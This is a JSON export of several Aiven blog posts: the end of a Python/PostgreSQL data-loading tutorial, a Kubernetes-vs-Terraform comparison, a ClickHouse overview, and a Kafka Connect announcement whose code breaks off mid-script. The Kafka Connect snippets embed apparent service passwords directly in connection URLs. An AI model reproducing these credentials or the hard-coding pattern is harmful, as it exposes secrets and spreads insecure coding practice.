can review all PostgreSQL plans [on our pricing page](https://aiven.io/pricing). To connect to it, we'll need the `service uri` containing information like `host`, `port`, and the default `avnadmin` user's `password`. We can retrieve it with:\n\n```bash\navn service get demo-pg --format '{service_uri}'\n```\n\nNow we have a couple of minutes to relax while we wait for the instance to be ready after the following call in the terminal\n\n```bash\navn service wait demo-pg\n```\n\n## 3. Push the data to PostgreSQL\nOnce the service is running, go back to Python and prepare the data push.\n\nWe'll use the [ddlgenerator](https://github.com/catherinedevlin/ddl-generator) library to automatically generate the SQL statement to create the PostgreSQL table, and [psycopg2](https://www.psycopg.org/) to interact with the database. We can install both with the following line in the terminal:\n\n```bash\npip install psycopg2 ddlgenerator\n```\n\nNow create a new `push.py` file, add the import, and connect to the database statements. Replace the `\u003cSERVICE_URI_OUTPUT\u003e` parameter in the following code with the output of the `avn service get` command above:\n\n```python\nimport psycopg2\n\nconn = psycopg2.connect('\u003cSERVICE_URI_OUTPUT\u003e')\n```\n\nThe connection is established. We can now create the table and push the data. `ddlgenerator` provides a nice functionality to create both table DDLs and insert statements from a CSV file. We can append the following code to the `push.py` file:\n\n```python\nfrom ddlgenerator.ddlgenerator import Table\n\ntable = Table('results.csv', table_name='HAPPINESS')\nsql = table.sql('postgresql', inserts=True)\n```\n\nAfter importing the `Table` class from `ddlgenerator`, the code creates an instance parsing the `results.csv` file, with a target table name of `HAPPINESS`. The last line creates the `CREATE` table definition SQL for PostgreSQL, including the insert statements for each line (`inserts=True`). If we print the SQL statement it should look something like the following:\n\n```sql\nDROP TABLE IF EXISTS happiness;\n\nCREATE TABLE happiness (\n\tsurvey_yr INTEGER NOT NULL,\n\tcountry VARCHAR(24) NOT NULL,\n\toverall_rank INTEGER NOT NULL,\n\tscore DECIMAL(15, 14) NOT NULL,\n\tgdp DECIMAL(17, 16) NOT NULL,\n\tgenerosity DECIMAL(16, 16) NOT NULL,\n\tfreedom DECIMAL(16, 16) NOT NULL,\n\tsocial_support DECIMAL(16, 15) NOT NULL,\n\tlife_exp DECIMAL(17, 16) NOT NULL,\n\tgov_trust DECIMAL(16, 16)\n);\n\nINSERT INTO happiness (survey_yr, country, overall_rank, score, gdp, generosity, freedom, social_support, life_exp, gov_trust) VALUES (19, 'Finland', 1, 7.769, 1.34, 0.153, 0.596, 1.587, 0.986, 0.393);\nINSERT INTO happiness (survey_yr, country, overall_rank, score, gdp, generosity, freedom, social_support, life_exp, gov_trust) VALUES (19, 'Denmark', 2, 7.6, 1.383, 0.252, 0.592, 1.573, 0.996, 0.41);\n...\n```\n\nWe can now execute the sql statement against the database by adding the following code to the `push.py` file\n\n```python\ncur = conn.cursor()\ncur.execute(sql)\nconn.commit()\ncur.close()\nconn.close()\n```\n\nWe created a cursor, executed the sql statement, committed the change to the database and closed both cursor and connection. It's now time to run the code. With the same terminal on the `happiness` folder, run the following:\n\n```bash\npython push.py\n```\n\nCongrats, the data is now loaded in PostgreSQL.\n\n## 4. Query the data in PostgreSQL\nLet's verify that the data is correctly populated in the PostgreSQL `happiness` table. Create a new Python file `query.py` with the following content (as before, edit the connection `service uri`):\n\n```python\nimport psycopg2\n\nconn = psycopg2.connect('\u003cSERVICE_URI_OUTPUT\u003e')\n\ncur = conn.cursor()\ncur.execute('''\nSELECT SURVEY_YR, COUNTRY, OVERALL_RANK\nfrom HAPPINESS\nWHERE OVERALL_RANK \u003c= 3\nORDER BY SURVEY_YR, OVERALL_RANK\n''')\n\nprint(cur.fetchall())\ncur.close()\nconn.close()\n```\n\nAs per the `push.py` file, we are creating a connection to PostgreSQL, then executing a query to check which countries were in the top three positions over the various years. The result should be similar to:\n\n```data\n[\n(15, 'Switzerland', 1), (15, 'Iceland', 2), (15, 'Denmark', 3),\n(16, 'Denmark', 1), (16, 'Switzerland', 2), (16, 'Iceland', 3),\n(17, 'Norway', 1), (17, 'Denmark', 2), (17, 'Iceland', 3),\n(18, 'Finland', 1), (18, 'Norway', 2), (18, 'Denmark', 3),\n(19, 'Finland', 1), (19, 'Denmark', 2), (19, 'Norway', 3)\n]\n```\n\nIt looks like Northern European countries are a great place to live! Take particular notice of how Aiven's home country, `Finland`, has been at the top of the table in the last two years.\n\nThe data, now available in a PostgreSQL relational table, can be queried and exposed by all major analytics and reporting tools, making it accessible to a wider audience.\n## Wrapping up\nFinding the right dataset is just the beginning: cleaning, wrangling and publishing the data creates information to help people in their decision-making. Python is a great fit in this area and widely adopted in the data community. The `pandas`, `ddlgenerator` and `psycopg2` libraries mentioned in the blog enable an easy data handling and push to PostgreSQL. This makes for a solid base for data discovery or corporate reporting.\n\nSome more info:\n* [Aiven for PostgreSQL](https://aiven.io/postgresql): all the info about Aiven's offering\n* [Aiven PostgreSQL supported extensions](https://help.aiven.io/en/articles/489561-supported-postgresql-extensions): browse the extensions we support\n* [pandas](https://pandas.pydata.org/), [ddlgenerator](https://github.com/catherinedevlin/ddl-generator) and [psycopg2](https://www.psycopg.org/): documentation about the libraries used\n\n--\n\nNot using Aiven services yet? Sign up now for your free trial at [https://console.aiven.io/signup](https://console.aiven.io/signup \"Aiven free trial signup link\")!\n\nIn the meantime, make sure you follow our [changelog](https://aiven.io/changelog) and [blog](https://aiven.io/blog) RSS feeds or our [LinkedIn](https://www.linkedin.com/company/aiven/) and [Twitter](https://twitter.com/aiven_io) accounts to stay up-to-date with product and feature-related news.\n\n## Further reading\n\n- [What is PostgreSQL®?](https://aiven.io/blog/an-introduction-to-postgresql)\n\n- [Use cases for PostgreSQL®](https://aiven.io/blog/use-cases-for-postgresql)\n\n- [Using PostgreSQL® JSON functions to navigate reviews of restaurants in India](https://aiven.io/blog/pg-json-indian-restaurants)\n\n- [(Postgre)SQL concepts and terms](https://aiven.io/blog/postgresql-concepts-and-terms)","categories":[{"_key":"5Ry1OHE6tZ0LKPQxJ9XkJd","_ref":"5Ry1OHE6tZ0LKPQxJ9XkJd","_type":"reference"},{"_key":"1vrpqSQEi7vREEAlHVVpOG","_ref":"1vrpqSQEi7vREEAlHVVpOG","_type":"reference"}],"mainImage":{"alt":"","asset":{"_ref":"image-9add742a5637d7fae58022b4629e75706b414897-1567x844-png","_type":"reference"}},"publishedAt":"2021-06-23T00:00:00.000Z","seo":{"metaDescription":"The world and the data in it are seldom perfect. Read to find out how to clean up the data in your PostgreSQL® database so that it's usable for analysis.","metaImage":{"alt":"","asset":{"_ref":"image-9add742a5637d7fae58022b4629e75706b414897-1567x844-png","_type":"reference"}},"metaTitle":"The pursuit of happiness with Python and PostgreSQL®"},"slug":{"_type":"slug","current":"/blog/the-pursuit-of-happiness-with-python-and-postgresql"},"subtitle":"The world and the data in it are seldom perfect. Read to find out how to clean up the data in your PostgreSQL® database so that it's usable for analysis.","title":"The pursuit of happiness with Python and PostgreSQL®"} {"__i18n_lang":"en","_createdAt":"2022-06-16T14:05:39Z","_id":"6hwk9OFwjubnCEArcbNBJy","_rev":"5y7swPKAcYPWMoG0mxxswo","_type":"post","_updatedAt":"2024-08-09T09:49:57Z","authors":[{"_key":"6lMlSgJEYuohRrYw7zGkl8","_ref":"6lMlSgJEYuohRrYw7zGkl8","_type":"reference"}],"body":"Tools don't like to fight, but people love to set them up for \"X-tool vs. Y-tool\" grudge matches, thinking that's how you cover them in pride and glory. This blog sheds light on two of the heavy-weight contenders in the DevOps world and makes an attempt to clarify some common misconceptions. If you understand databases and data engineering but struggle to understand when to use Kubernetes and when to use Terraform for your data infrastructure, read along.\n\n## Kubernetes vs. Terraform - what's the difference?\n\nBoth Kubernetes and Terraform are open-source projects in the DevOps space. While _Kubernetes is an orchestration tool_ for managing containers, _Terraform lets you define your infrastructure as code_, whether your applications run as containers or a giant monolith. A minimum entry fee for using Kubernetes is using containers. But when you run your applications as containers, who sets up the underlying infrastructure for you (compute, storage, and network)? Your applications do not run on thin air. In the pre-Terraform-era, a SysAdmin would write scripts or Ansible playbooks to stand up and configure virtual machines and/or bare-metal servers. With Terraform, you can declare how you plan the application/data infrastructure, and Terraform executes based on your plan.\n\nYou can use both these tools at once: Terraform to create/manage your infrastructure, Kubernetes to manage the containers that house your applications.\n\n## Orchestrate and automate\n\nFrom an application perspective, tools like Kubernetes and Terraform complement each other. Both tools allow you to declaratively define your system, and they execute to match the running system to what's defined in code. They also offer modularity and reusability for your system as a whole or parts of it. This way, you can copy the exact same infrastructure multiple times while only writing it once.\n\nFrom a data perspective, Terraform can also help provision and manage stateful infrastructure. Whether it's a database or a streaming platform, you can specify the exact configuration and Terraform takes care of the underlying dependency and networking to stand up your data infrastructure.\n\n*Kubernetes operators* make it easier to define custom resources like databases and streaming platforms in Kubernetes. By using Kubernetes's built-in scheduling feature, you can also use these operators to create and manage your data infrastructure in a declarative way.\n\n## Kubernetes and Terraform to provision your data infrastructure on Aiven\n\nNow that you understand the power of Kubernetes and Terraform, let's have a look at how you can use them to provision your data infrastructure on Aiven. Both of them have Aiven integrations: the [Aiven Terraform Provider](https://registry.terraform.io/providers/aiven/aiven/latest/docs) and the [Aiven Operator for Kubernetes](https://aiven.github.io/aiven-operator/) offer ways to create your data resources programmatically. With Aiven offering an intuitive web console, powerful CLI, and these two DevOps tools, how do you choose which tool to use for your business?\n\nIf you're already familiar with Terraform and use it to provision other infrastructure resources, the _Aiven Terraform Provider_ can be a perfect choice. You can use your existing skillset to create and manage Aiven resources. The Terraform provider is also good for doing dry-runs of your infrastructure provisioning to preview the resources that it will create. Terraform also takes care of the underlying dependencies of the resources you define. This means that Terraform will know which Aiven resource to create first, as other resources might be dependent upon it.\n\nThe _Aiven Operator for Kubernetes_, on the other hand, makes sense if you already have your applications running on Kubernetes and need a single control plane to manage both application and data resources. Currently, this operator only supports _Aiven for PostgreSQL®_ and _Aiven for Apache Kafka®_. If you choose this tool, you can benefit from Kubernetes's self-healing and auto-scaling properties. \n\n## Further reading\n\nAs two of the most popular open-source projects, both Kubernetes and Terraform have their own use cases for deploying, monitoring, upgrading, backing up, and restoring services. Terraform uses [providers](https://www.terraform.io/language/providers) to work with virtually any platform or service with an accessible API.\n\n::banner[Each “recipe” includes an architecture diagram and the Terraform sample code you need to build the setup yourself.]{ctaText=\"Explore all the recipes!\" ctaLink=\"https://aiven.io/docs/tools/terraform/reference/cookbook.html\" title=\"Aiven Terraform Cookbook\" background=\"https://cdn.sanity.io/images/sczeoy4w/production/525dd6662e1da8aeeccdb5644dc13b50ba82f402-48x48.svg\" theme=\"dark\"}\n\nCheck out some more articles to learn more about these tools and how you can automate the provisioning of your data infrastructure:\n\n- [Aiven Terraform Provider - Developer Docs](https://aiven.io/docs/tools/terraform/index.html)\n- [Aiven Operator for Kubernetes - Developer Docs](https://aiven.io/docs/tools/kubernetes.html)\n- All [Development Operations](https://aiven.io/devops) \n\nAnd while you're at it, have a look at how Aiven works with Kubernetes in [Navigating your Kubernetes logs with Aiven](https://aiven.io/blog/navigating-your-kubernetes-logs-with-aiven \"Navigating your Kubernetes logs with Aiven | Aiven Blog\"), or with Terraform in [Aiven databases with Terraform for fun and profit](https://aiven.io/blog/aiven-databases-and-terraform-for-fun-and-profit \"Aiven databases with Terraform for fun and profit | Aiven Blog\")\n\n\n\u003c!-- \"What is Terraform\" blog (which is in-progess) can be linked later --\u003e\n\n--\n\nNot using Aiven services yet? Sign up now for your free trial at [https://console.aiven.io/signup](https://console.aiven.io/signup \"Aiven free trial signup link\")!\n\nIn the meantime, make sure you follow our [changelog](https://aiven.io/changelog) and [blog](https://aiven.io/blog) RSS feeds or our [LinkedIn](https://www.linkedin.com/company/aiven/) and [Twitter](https://twitter.com/aiven_io) accounts to stay up-to-date with product and feature-related news.","categories":[{"_key":"2q1kxdEuQtJX4PDTtjnfGe","_ref":"2q1kxdEuQtJX4PDTtjnfGe","_type":"reference"},{"_key":"2qto4I26D9dTmL2jF7YDqZ","_ref":"2qto4I26D9dTmL2jF7YDqZ","_type":"reference"}],"mainImage":{"alt":"","asset":{"_ref":"image-37cce003a68942ef20983c0192bc792cb09b9b94-1567x844-png","_type":"reference"}},"publishedAt":"2022-03-18T00:00:00.000Z","related":[{"_key":"856763fdde4c","_ref":"5zWKp0rhzV1I4NDDIPRdh0","_type":"reference"},{"_key":"2e94c9090a8b","_ref":"5gTp13pYjOThOf6JmmuhGu","_type":"reference"},{"_key":"49976b9ebea6","_ref":"2067d9d5-96dc-4f71-81ff-9b7da70f5918","_type":"reference"}],"seo":{"_type":"metaData","metaDescription":"Read a blow-by-blow analysis of 2 heavyweights in the world of DevOps: Kubernetes vs Terraform. When should you bet on Terraform, and what calls for Kubernetes?","metaImage":{"alt":"","asset":{"_ref":"image-37cce003a68942ef20983c0192bc792cb09b9b94-1567x844-png","_type":"reference"}},"metaTitle":"Kubernetes vs. Terraform | When to use which?"},"slug":{"_type":"slug","current":"/blog/kubernetes-vs-terraform"},"subtitle":"Read a blow-by-blow analysis of two of the heavyweights in world of DevOps: when should you bet on Terraform, and what calls for Kubernetes?","title":"Kubernetes vs. Terraform"} {"__i18n_lang":"en","_createdAt":"2022-09-17T21:00:14Z","_id":"3GyNnm0QehTAFfDtVvylqP","_rev":"m47zVAKzspt7UjVx7zFK49","_type":"post","_updatedAt":"2024-08-05T12:01:17Z","authors":[{"_key":"3UGFZYFBoYjMPg7DR9R9YZ","_ref":"3UGFZYFBoYjMPg7DR9R9YZ","_type":"reference"}],"body":"Speed is the key to success of our products, applications, solutions. Instead of guessing your next step, data can navigate your path faster to complex business decisions. Today we want to introduce you to a solution designed to get to the bottom of storing and analyzing big data: ClickHouse.\n\nClickHouse is a highly scalable open source database management system (DBMS) that uses a column-oriented structure. It's designed for online analytical processing (OLAP) and is highly performant. ClickHouse can return processed results in real time in a fraction of a second. This makes it ideal for applications working with massive structured data sets: data analytics, complex data reports, data science computations...\n\nClickHouse is most praised for its exceptionally high performance. That performance comes from a sum of many factors:\n- Column-oriented data storage\n- Data compression\n- The vector computation engine\n- Approximated calculations\n- The use of physical sparse indices\n\nBut performance isn't the only benefit of ClickHouse. ClickHouse is more than a database, it's a sophisticated database management system that supports distributed query processing, partitioning, data replication and sharding. It's a highly scalable and reliable system capable of handling terabytes of data.\n\nIn fact, ClickHouse is designed to write huge amounts of data and simultaneously process a large number of reading requests. And you can conveniently use a declarative SQL-like query language.\n\n## Main features of ClickHouse\n\n ClickHouse has a booming development community and continues to be actively developed and improved. You can look at [the changelog](https://clickhouse.com/docs/en/whats-new/changelog/) and [their road map](https://clickhouse.com/docs/en/whats-new/roadmap/) to see the latest features and future plans. Even with fast growth of the system, every new feature is evaluated performance-wise to make sure it doesn't affect the speed of the system. And many of existing biggest features of ClickHouse are particularly aimed at enhancing its performance and efficiency.\n\n### Column-oriented DBMS\n\nAs a truly columnar database, ClickHouse stores the values of the same column physically next to each other with no extra data attached to each value. This matters when even an insignificant amount of extra data (such as length of a string, for example) attached to hundreds of millions of items in the column, substantially affects the speed of compression, decompression and reads.\n\n### Data compression\n\nTo achieve desired performance ClickHouse uses data compression. This includes general-purpose compression, as well as a number of specialised codecs targeting different types of data stored in separate columns.\n\n### Query processing across multiple servers\nClickHouse supports distributed query processing with data stored across different shards. Large queries are parallelized across multiple cores and use resources they need.\n\n### SQL query syntax\nClickHouse supports SQL syntax similar to ANSI SQL. However, it is not identical, so a migration from another SQL-compatible system might require translations.\n\n### Vector computation engine\nDuring data processing, ClickHouse works with chunks of columns (so-called vectors) and operations are performed on the arrays of items, rather than on individual values.\n\n### No database locks\nClickHouse updates tables continually without relying on locks when adding new data.\n\n### Primary and data skipping indices\nClickhouse keeps data physically sorted by primary key. Secondary indices (also called \"data skipping indices\") indicate in advance which data won't match filtering criteria and should be skipped (therefore, the name).\n\n### Approximated calculations\nTo gain farther performance boost, for complex queries you can perform calculations on the sample of data finding a trade-off between accuracy and performance. This is relevant, for example, for complex data science calculations.\n\n\u003c!-- Olena to Auri: The paragraph below was changed to \"While ClickHouse can be an excellent choice for many scenarios, its special architectural characteristics aren't the easiest to work with. You have to work *with* them for ClickHouse to reach its full potential.\" However, some wording (especially \"its special architectural characteristics aren't the easiest to work with\") is not exactly correct to my ear. My point was that uts architectural characteristics make it easy to misuse ClickHouse. I brought back the old version, but I'm fine changing it again --\u003e\n\nWhile ClickHouse can be an excellent choice for many scenarios, it's important to keep in mind its architectural characteristics. Because ClickHouse is pretty unique, it's easy to make mistakes that lead to sub-optimal performance. That's why it is important to understand what stands behind this DBMS and how it functions.\n\nLet's start by looking at its most distinguishable feature - column-oriented structure of the storage.\n\n## Why a column-oriented database management system?\n\nTo understand better where the need for the column-oriented approach is coming from and why ClickHouse uses it, let's take a closer look at two different types of systems: Online Transaction Processing (OLTP) and Online Analytical Processing (OLAP). In particular, pay attention to granularity with which they manipulate the data and to the types of operations that are prevalent in these systems.\n\n\u003c!-- Added some subheadings --\u003e\n\n### OLTP: Online Transaction Processing\n\nOLTP applications perform small but very frequent operations to insert, update and select a modest numbers of rows. In this type of applications we traditionally use row-oriented approach as the most effective way to work with entire individual rows.\n\n### OLAP: Online Analytical Processing\n\nOLAP systems are a completely different thing - operations do not target single lines - instead, we work with hundreds of thousands and even millions of records at a time, relying on grouping and aggregation mechanisms. Data in OLAP systems is represented by events and rarely needs to be updated. And, what is important, usually only a fraction of fields is necessary to be retrieved and processed at a time. This makes it very inefficient to read complete rows, like row-oriented systems do.\n\nThe bottom line is, in OLTP applications records are being stored for an easy update of individual rows, while in OLAP systems, data is stored primarily for fast read and analysis of massive chunks of data.\n\nTherefore, the row-oriented DBMS could not effectively manage analytical processing of data volumes typical to OLAP applications.\n\n### OLAP and column-oriented systems\n\nColumn-oriented systems were designed to solve OLAP challenges. In truly columnar databases, the data is physically grouped and stored by columns. This minimizes disk access and improves performance, because processing a specific query only requires reading a fraction of the data. Since each column contains data of the same type, it can use effective compression mechanisms.\n\nAdditionally, the columnar approach allows adding or removing new columns with no performance overhead, since it means simply creating or deleting files. In contrast, adding a new column in a row-oriented database would require updating the data in every row.\n\nUnderstanding the difference between OLAP and OLTP systems, and the distinction between row and columnar approaches is key when making a decision weather to use ClickHouse or not. In the next section we'll look into how this relates to specific system requirements, and what you should pay attention to when making a decision to adopt ClickHouse.\n\n## When to use ClickHouse\n\nIf used correctly and in suitable scenarios, ClickHouse is a powerful, scalable and fast solution that outperforms its competitors. ClickHouse is made for OLAP applications, and includes a number of optimizations to read data and process complex requests at high speeds.\n\nYou'll get the most out of ClickHouse if:\n\n- you work with enormous volumes of data (measured in terabytes) continuously written and read;\n- you have tables with the massive number of columns (ClickHouse loves large numbers of columns!), but column values are reasonably short;\n- your data is well-structured and not yet aggregated;\n- you insert data in large batches over thousands of lines, a million is a good number;\n- the vast majority of operations are reads with aggregations;\n- for reads, you process large number of rows, but fairly low number of columns;\n- you don't need to modify data later;\n- you don't need to retrieve specific rows;\n- you don't need transactions.\n\nFor example, Yandex uses over 500 servers with 25 million records coming each day. Another company that uses ClickHouse, Bloomberg, has over a hundred of servers and accepts approximately a trillion new records each day (as of data from 2018).\n\n## When not to use ClickHouse\n\nClickHouse is designed to be fast. However, the optimisations that make ClickHouse the perfect solution for OLAP applications make it suboptimal for other types of projects.\n\nDo not use ClickHouse for OLTP. ClickHouse expects data to remain immutable. Even though it is technically possible to remove big chunks of data from the ClickHouse database, it is not fast. ClickHouse simply isn't designed for data modifications. It's also inefficient at finding and retrieving single rows by keys, due to sparse indexing. Lastly, ClickHouse does not fully support ACID transactions.\n\nClickHouse is not a key-value DBMS. It is also not designed to be a file storage.\n\nIt's not a document-oriented database, either. ClickHouse uses a pre-defined schema that needs to be specified during table creation. The better the schema, the more effective and performant are the queries.\n\n## How to get started\n\nI hope that this got you intrigued about ClickHouse and its superpowers. And maybe you wonder how you can start using it on your own. ClickHouse is an open source project and you can follow its documentation to build it yourself.\n\nHowever, we know that setting up and maintaining ClickHouse cluster can be quite a challenge. Ensuring proper replication of data, fault-tolerance, stability takes plenty of time and energy. That's why Aiven has decided to offer Aiven for ClickHouse, which will provide you with benefits of ClickHouse without the headache overload.\n\nWith Aiven for ClickHouse, you can focus on the product you are building, and we'll keep the underlying infrastructure running so smoothly that you can totally forget about it.\n\n__So, how can you set up Aiven for ClickHouse?__\n\nSelect Aiven for ClickHouse in the Aiven Console when creating a new service. (Read detailed instructions [in our Getting Started documentation](https://aiven.io/docs/products/clickhouse/get-started). \n\nOnce the server is up and running (which happens in just a couple of minutes), [add some test data](https://aiven.io/docs/products/clickhouse/get-started) and see how you can work [with users](https://aiven.io/docs/products/clickhouse/howto/manage-users-roles), [tables and databases](https://aiven.io/docs/products/clickhouse/concepts). \n\nTo dive deeper and understand how indexing and data processing works in Clickhouse, [check out this Indexing article](https://aiven.io/docs/products/clickhouse/concepts/indexing.html).\n\n\u003c!-- copypasta:\n\n®\n™\n\ntoc format:\n\u003ca id=\"toc\"\u003e\u003c/a\u003e\n1. [Wrapping up](#wrapping-up)\n\nimage links: [![image alt](image url)](link)\n\n[Back to top](/blog/slug-line/#toc)\n--\u003e\n\nTo get the latest news about Aiven and our services, plus a bit of extra around all things open source, [subscribe to our monthly newsletter](https://aiven.io/newsletter)! Daily news about Aiven are available on our [LinkedIn](https://www.linkedin.com/company/aiven/) and [Twitter](https://twitter.com/aiven_io) feeds.\n\nIf you just want to stay find out about our service updates, follow our [changelog](https://aiven.io/changelog). \n\nStruggling with the management of your data infrastucture? Sign up now for your free trial at [https://console.aiven.io/signup](https://console.aiven.io/signup \"Aiven free trial signup link\")!\n","categories":[{"_key":"4Ys3OINPj3glC5uOMr5dqF","_ref":"4Ys3OINPj3glC5uOMr5dqF","_type":"reference"},{"_key":"2vw3G7QzI7VENTWVzT0PMh","_ref":"2vw3G7QzI7VENTWVzT0PMh","_type":"reference"},{"_key":"3RInNwDlIfGT91IDLKEgDC","_ref":"3RInNwDlIfGT91IDLKEgDC","_type":"reference"}],"internalBlogProcess":"editorial","mainImage":{"alt":"","asset":{"_ref":"image-314569e1e5f6e7b75c6d91d9e71675e690e6d0e6-1567x844-png","_type":"reference"}},"publishedAt":"2022-09-14T00:00:00.000Z","seo":{"_type":"metaData","metaDescription":"Big data can help you reach complex business decisions. Find out how ClickHouse is designed to get to the bottom of big data processes.","metaImage":{"alt":"","asset":{"_ref":"image-314569e1e5f6e7b75c6d91d9e71675e690e6d0e6-1567x844-png","_type":"reference"}},"metaTitle":"What is ClickHouse®? | Everything you need to know for ClickHouse"},"slug":{"_type":"slug","current":"/blog/what-is-clickhouse"},"subtitle":"Big data can help you reach complex business decisions. Find out how ClickHouse is designed to get to the bottom of big data processes.","title":"What is ClickHouse®?"} {"__i18n_lang":"en","_createdAt":"2022-06-16T14:05:36Z","_id":"5tld920hohmoFmHBy75NCm","_rev":"on5KSabgAN0raW406ZJOSZ","_type":"post","_updatedAt":"2024-02-09T09:47:16Z","authors":[{"_key":"2CAEpbT3LuYkmPFk5o0m1L","_ref":"2CAEpbT3LuYkmPFk5o0m1L","_type":"reference"}],"body":"We're delighted to announce public preview for Kafka Connect support for Aiven for Apache Kafka. During preview, Kafka Connect is available at no extra cost as part of all Aiven for Apache Kafka Business and Premium plans. We're launching with support for OpenSearch connector, and will soon follow with S3 and other connectors.\n\n### Kafka Connect\n\nKafka Connect is a framework for linking Kafka with other services. It makes it simple to define and configure _connectors_ to reliably and scalably stream data between different systems. Kafka Connect provides a standard API for integration, handles offset management and workload distribution automatically.\n\nYou can define and configure individual connectors via the Kafka Connect REST interface.\n\n### Case example - IoT Device Shadow\n\nA customer of ours is using Aiven for Apache Kafka for capturing telemetry from a fleet of IoT devices. To that end, Aiven for Apache Kafka has proven to be a scalable and flexible pipeline for capturing and distributing traffic for processing.\n\nDuring the past month, we've worked together to support a new use case: maintaining a \"device shadow\" or a latest state update in OpenSearch. This copy allows developers to query and access device states regardless whether the devices are currently online and connected or not.\n\nWe built this new pipeline together with Kafka Connect and OpenSearch Connector. You can follow these steps to set up a similar pipeline.\n\n### Getting started: Launching Kafka and OpenSearch services\n\nCreate an Aiven for Apache Kafka service and create your topics for the incoming traffic. In this example, we'll be using Business-4 plan for the service and 16 partitions to accommodate for the client load.\n\nFirst we'll launch a Kafka cluster from the Aiven Console. This cluster will receive the state updates from the IoT devices. A fairly low-spec cluster will work for this use case and we will launch it in one of the AWS regions:\n\n![](//cdn.sanity.io/images/sczeoy4w/production/6b7f6d009757279a33e238f7498422c3da79b6e6-640x460.png)\n\nNext, we'll create a Kafka topic for our data under the Topics tab.\n\nWe chose 16 partitions in this example, but you should select a number that matches with your workload. A larger number allows for higher throughput to support, but on the other hand increases resource usage on both the cluster as well as the consumer side. Contact us if unsure, we can help you to find a suitable plan.\n\n![](//cdn.sanity.io/images/sczeoy4w/production/2231ca3cd7609a5df1749722e9cec4609f10310e-640x460.png)\n\nWe will also need an OpenSearch cluster for the device shadow data. We'll choose a three-node cluster with 4 GB memory in each node. Make note of the OpenSearch Service URL, which we'll use with the Kafka Connector configuration in the next steps.\n\n![](//cdn.sanity.io/images/sczeoy4w/production/2ac9db3543f269327fe753ff09dcd663beda041d-640x460.png)\n\nWe'll need to enable Kafka Connect by clicking the \"Enable\" button next to it in the service view. We also make a note of Kafka Connect access URL, which we will need in the following steps.\n\n![](//cdn.sanity.io/images/sczeoy4w/production/6e01bc7190b198950411b6e165f1a9d7e62be94d-640x460.png)\n\n### Setting up the pipeline with scripts\n\nWe'll be using a couple of Python code snippets to configure our data pipeline. We've downloaded the project and Kafka access certificates as ca.pem, service.cert and service.key to a local directory from the Kafka service view.\n\nYou can refer to startup guides for both [Aiven Kafka](https://help.aiven.io/en/articles/489572-getting-started-with-aiven-kafka) and [Aiven OpenSearch](https://help.aiven.io/en/articles/489571-getting-started-with-aiven-elasticsearch) for details on setting up the environment.\n\nHere's our first snippet named query_connector_plugins.py for finding out the available connector plugins:\n\n```python\nimport requests\n\nAIVEN_KAFKA_CONNECT_URL = \"https://avnadmin:m9jyevsaehezqs36@gadget-kafka.htn-aiven-demo.aivencloud.com:22142\"\n\nresponse = requests.get(\"{}/connector-plugins\".format(AIVEN_KAFKA_CONNECT_URL))\nprint(response.text)\n```\n\nBy running the script we can find out the available connector plugins:\n```\n$ python3 query_connector_plugins.py\n[{\"class\":\"io.confluent.connect.elasticsearch.ElasticsearchSinkConnector\"}]\n```\n\nTo get started with the pipeline configuration, we'll pre-create an OpenSearch index with a schema to meet our needs with script name create_elastic_index.py:\n\n```python\nimport json\nimport requests\n\nAIVEN_ELASTICSEARCH_URL = \"https://avnadmin:in9zvfjaio32m0qy@gadget-elastic.htn-aiven-demo.aivencloud.com:24185\"\n\nmapping = {\n \"settings\": {\n \"number_of_shards\": 16\n },\n \"mappings\": {\n \"kafka-connect-gadget-telemetry\": {\n \"properties\": {\n \"location\": {\n \"type\": \"string\"\n },\n \"temperature\": {\n \"type\": \"integer\"\n },\n \"timestamp\": {\n \"type\": \"date\"\n }\n }\n }\n }\n}\n\nresponse = requests.put(\n \"{}/gadget-telemetry?pretty=true\".format(AIVEN_ELASTICSEARCH_URL),\n headers={\"content-type\": \"application/json\"},\n data=json.dumps(mapping),\n verify=\"ca.pem\",\n)\n\nprint(response.text)\n```\n\nNext, we'll run the script and the Elasticsearch index is created:\n\n```\n$ python3 create_elastic_index.py\n{\n \"acknowledged\" : true,\n \"shards_acknowledged\" : true\n}\n```\n\nHere's how we create and configure the actual Elasticsearch Connector to link our telemetry topic and Elasticsearch with a script named create_es_connector.py:\n\n```python\nimport requests\nimport json\n\nAIVEN_KAFKA_CONNECT_URL = \"https://avnadmin:m9jyevsaehezqs36@gadget-kafka.htn-aiven-demo.aivencloud.com:22142\"\nAIVEN_ELASTICSEARCH_URL = \"https://avnadmin:in9zvfjaio32m0qy@gadget-elastic.htn-aiven-demo.aivencloud.com:24185\"\n\nconnector_create_request = {\n \"name\": \"gadget-es-sink\",\n \"config\": {\n \"connection.url\": AIVEN_ELASTICSEARCH_URL,\n \"connector.class\": \"io.confluent.connect.elasticsearch.ElasticsearchSinkConnector\",\n \"tasks.max\": 3,\n \"topics\": \"gadget-telemetry\",\n \"type.name\": \"kafka-connect-gadget-telemetry\" # This points to the created ES mapping\n }\n}\n\nresponse = requests.post(\n \"{}/connectors\".format(AIVEN_KAFKA_CONNECT_URL),\n headers={\"Content-Type\": \"application/json\"},\n data=json.dumps(connector_create_request)\n)\nprint(response.text)\n```\n\nAnd enable the Connector by running the script:\n\n```\n$ python3 create_es_connector.py\n{\"name\":\"gadget-es-sink\",\"config\":{\"topics\":\"gadget-telemetry\", \"type.name\":\"kafka-connect-gadget-telemetry\", \"tasks.max\":\"3\", \"connector.class\":\"io.confluent.connect.elasticsearch.ElasticsearchSinkConnector\", \"connection.url\":\"https://avnadmin:in9zvfjaio32m0qy@gadget-elastic.htn-aiven-demo.aivencloud.com:24185\", \"name\":\"gadget-es-sink\"}, \"tasks\":[]}\n```\n\nNext, we're going to send some simulated telemetry data to test everything out:\n\n```python\nfrom kafka import KafkaProducer\nimport datetime\nimport json\nimport random\n\nAIVEN_KAFKA_URL = \"gadget-kafka.htn-aiven-demo.aivencloud.com:22144\"\nLOCATIONS = [\"arizona\", \"california\", \"nevada\", \"utah\"]\n\nproducer = KafkaProducer(\n bootstrap_servers=AIVEN_KAFKA_URL,\n security_protocol=\"SSL\",\n ssl_cafile=\"ca.pem\",\n ssl_certfile=\"service.cert\",\n ssl_keyfile=\"service.key\",\n)\n\nfor i in range(10):\n device_name = \"gadget_{}\".format(i)\n telemetry = {\n \"location\": random.choice(LOCATIONS),\n \"temperature\": random.randint(40, 120),\n \"timestamp\": datetime.datetime.utcnow().strftime(\"%Y-%m-%dT%H:%M:%SZ\")\n }\n key = device_name.encode(\"utf-8\")\n payload = json.dumps(telemetry).encode(\"utf-8\")\n producer.send(\"gadget-telemetry\", key=key, value=payload)\n\n# 